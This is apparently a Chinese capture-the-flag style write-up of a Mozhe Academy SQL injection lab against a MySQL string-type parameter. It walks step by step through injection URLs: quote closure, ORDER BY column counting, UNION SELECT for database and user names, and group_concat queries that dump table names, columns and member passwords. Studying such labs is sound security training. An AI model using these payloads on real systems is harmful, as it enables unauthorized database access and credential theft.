靶場練習-墨者學院-sql注入- 手工注入漏洞測試(MySQL數據庫-字符型)

背景知識

1.Mysql的數據結構php

mysql中有一個information_schema數據庫,用於維護mysql中的其餘數據庫信息。mysql

其中的tables表的TABLE_SCHEMA字段爲庫名,TABLE_NAME字段爲表名;sql

columns表的TABLE_SCHEMA字段爲所屬的數據庫,TABLE_NAME字段爲表名,COLUMN_NAME字段爲列名。 數據庫

2.手工注入方法。數據結構

是否存在過濾,是否可繞過。url

是否可經過頁面變化或者時間變化,判斷是否存在注入點。spa

判斷注入類型,字符型仍是數字型,字符型須要構造閉合。.net

經過order by 判斷列數。orm

在找到注入點,判斷出union 可用的字段後,判斷出所用的數據庫名字和用戶名字,而後再information_schema中查看對應的數據庫(table_schema)有哪幾個表(table_name),而後在columns查看對應的表有哪些字段。blog

3.md5加解密。

思路

1.判斷是否存在注入點。字符型,經過‘構造閉合。

 

 

輸入’頁面發生變化

 

 

 

 http://219.153.49.228:41974/new_list.php?id=tingjigonggao' and '1' ='1,頁面恢復正常

 

 

 2.判斷列數

http://219.153.49.228:41974/new_list.php?id=tingjigonggao' order by 5 --+  頁面報錯

 

 

http://219.153.49.228:41974/new_list.php?id=tingjigonggao' order by 4 --+  頁面恢復正常 說明有四列

 

 

 

 

 3.判斷位置,數據庫名,用戶名

http://219.153.49.228:41974/new_list.php?id=' union select 1,2,3,4 --+  或者  http://219.153.49.228:41974/new_list.php?id=' union select '1','2','3','4   

 

 

 http://219.153.49.228:41974/new_list.php?id=' union select '1',database(),user(),'4   ,判斷數據庫名,用戶名

 

 

 4.查詢數據庫中的表名

http://219.153.49.228:40812/new_list.php?id=' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+

 

 

 5.查詢數據庫的字段名

http://219.153.49.228:40812/new_list.php?id=' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='stormgroup_member'--+

 

 

 

 6.查詢數據庫字段對應的值

http://219.153.49.228:40812/new_list.php?id=' union select 1,group_concat(name),group_concat(password),4 from stormgroup_member--+

 

相關文章
相關標籤/搜索